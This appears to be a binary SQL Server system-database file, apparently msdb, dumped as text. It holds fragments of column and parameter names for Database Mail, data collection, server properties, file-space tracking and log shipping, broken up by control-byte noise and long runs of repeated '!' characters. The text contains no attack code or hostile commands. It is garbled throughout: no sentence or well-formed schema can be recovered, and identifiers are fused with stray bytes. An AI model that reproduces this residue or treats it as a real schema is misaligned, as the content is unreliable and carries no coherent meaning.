[hcollection_item_id0-Dڎ'$$Ycollector_type_uid0-Dڎ'4=name0-Dڎ'88
Cname_id0-Dڎ'88
Gfrequency0-Dڎ'@Iparameters0-'88
MZmailitem_id0-'88
Iprofile_id0-'4@Irecipients0-'4@Scopy_recipients0-'4@_blind_copy_recipients0-'4Csubject0-'4@Mfrom_address0-'4@Ereply_to0-'	4@=body0-'
4Kbody_format0-'4Iimportance0-'4Ksensitivity0-'
4@Ufile_attachments0-'4[attachment_encoding0-'4@?query0-'4aexecute_query_database0-'hhkattach_query_result_as_file0-'hh[query_result_header0-'88
Yquery_result_width0-'4aquery_result_separator0-'hh]exclude_query_output0-'hhYappend_query_error0-'==
7)Wsend_request_date0-'4C[*Wsend_request_user0-'88
Ssent_account_id0-'00|+Ksent_status0-'==Gsent_date0-'==,Olast_mod_date-ƻ&88
0-ƻ&4M@policy_name0-ƻ&4e@target_query_expression0-'Shealth_state_id0-'4M@policy_name0-'4e@target_query_expression!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!w,+
u

`U

Z

		D	UpCCEp/,>
]r`-)GK0-
{+88
;Hid0-
{+4[virtual_server_name0-
{+4]physical_server_name0-
{+88
[is_clustered_server0-
{+88
Qnum_processors0-
{+4Ecpu_name0-
{+4Kcpu_caption0-
{+4Icpu_family0-
{+	4Ucpu_architecture0-
{+
jj	
	[cpu_max_clock_speed0-
{+jj	
	Scpu_clock_speed0-
{+jj	
	Ol2_cache_size0-
{+
jj	
	Ol3_cache_size0-
{+@4@;urn0-
{+@4@Spowershell_path0-
{+++
"
Sprocessing_time0-
{+++
"
Ibatch_time0-
{+;;opercent_total_cpu_utilization0-+4M@server_name0-7,$$O@schedule_uid0-7,hhK@is_enabled0-7,$$A@jobID!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!lg7:Q``-=G)i		K!0-F,4;urn0-F,@4@Spowershell_path0-F,++
"
Sprocessing_time0-F,++
"
Ibatch_time0-F,44IAuditLevel0-F,4SBackupDirectory0-F,4_BrowserServiceAccount0-F,44UBrowserStartMode0-F,	(4(_BuildClrVersionString0-F,
88
KBuildNumber0-F,4GCollation0-F,88
KCollationID0-F,
88
SComparisonStyle0-F,4kComputerNamePhysicalNetBIOS0-F,4KDefaultFile0-F,4IDefaultLog0-F,4CEdition0-F,44OEngineEdition0-F,4MErrorLogPath0-F,4[FilestreamShareName0-F,4]InstallDataDirectory0-F,4aInstallSharedDirectory0-F,4MInstanceName0-F,hhSIsCaseSensitive0-F,hhKIsClustered0-F,hh[IsFullTextInstalled0-F,hhMIsSingleUser0-F,4ELanguage0-F,4KMailProfile0-F,4SMasterDBLogPath0-F,4MMasterDBPath0-F, 00MMaxPrecision0-F,!4=Name0-F,"hhWNamedPipesEnabled0-F,#4CNetName0-F,$88
UNumberOfLogFiles0-F,%@4@GOSVersion0-F,&44KPerfMonMode0-F,'88
QPhysicalMemory0-F,(@4@EPlatform0-F,)44IProcessors0-F,*88
QProcessorUsage0-F,+`4`CProduct0-F,,@4@MProductLevel0-F,-@4@_ResourceVersionString0-F,.4ORootDirectory0-F,/44IServerType0-F,04QServiceAccount0-F,14WServiceInstanceId0-F,24KServiceName0-F,344UServiceStartMode0-F,444ISqlCharSet0-F,5@4@QSqlCharSetName0-F,64QSqlDomainGroup0-F,744MSqlSortOrder0-F,84USqlSortOrderName0-F,944AStatus0-F,:88
UTapeLoadWaitTime0-F,;hhITcpEnabled0-F,<88
MVersionMajor0-F,=88
MVersionMinor0-F,>@4@OVersionString0-߭,4G@job_name0-߭,$$C@job_id0-߭,==M@oldest_date-p-40-p-$$O@schedule_uid0-	'-88
Imapping_id0-	'-Ksource_dbms0-	'-Qsource_version0-	'-Ksource_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m"Y3Pev-6M

^


.G
p
#
		8	K`Ghi9&A`-G)e	
Ul٭0-/4;urn0-/4@Spowershell_path0-/++
"
Sprocessing_time0-/++
"
Ibatch_time0-/4]server_instance_name0-/4Odatabase_name0-/4Qfilegroup_name0-/4Iparent_urn0-/	4]physical_server_name0-/
4Kvolume_name0-/4Uvolume_device_id0-/;;AGrowth0-/
44IGrowthType0-/;;CMaxSize0-/4=Name0-/;;=Size0-/;;GUsedSpace0-/4EFileName0-/SVolumeFreeSpace0-/;;Savailable_space0-/$$C@job_id0-/4G@job_name0-/88
E@step_id0-/88
S@sql_message_id0-/88
O@sql_severity0-/88
S@start_run_date0-/88
O@end_run_date0-/88
S@start_run_time0-/	88
O@end_run_time0-/
88
_@minimum_run_duration0-/88
K@run_status0-/88
U@minimum_retries0-/
88
O@oldest_first0-/4C@server0-/4?@mode0-E $088
[@collection_item_id0-E $04?@name0-E $04G@new_name0-E $088
I@frequency0-E $0K@parameters0-*004;urn0-*004@Spowershell_path0-*00++
"
Sprocessing_time0-*00++
"
Ibatch_time0-*004]server_instance_name0-*004Odatabase_name0-*004Iparent_urn0-*004]physical_server_name0-*00	4Kvolume_name0-*00
4Uvolume_device_id0-*00;;AGrowth0-*0044IGrowthType0-&y04;urn0-&y04Iparent_urn0-&y04=Name0-&y04]server_instance_name0-&y04Odatabase_name0-&y04@Spowershell_path0-&y0++
"
Sprocessing_time0-D0$$Iprimary_id0-D04Uprimary_database0-D04Ubackup_directory0-D04Mbackup_share0-D088
cbackup_retention_period0-D0$$Obackup_job_id0-D04Qmonitor_server0-D0hhauser_specified_monitor0-D0	hhmmonitor_server_security_mode0-D0
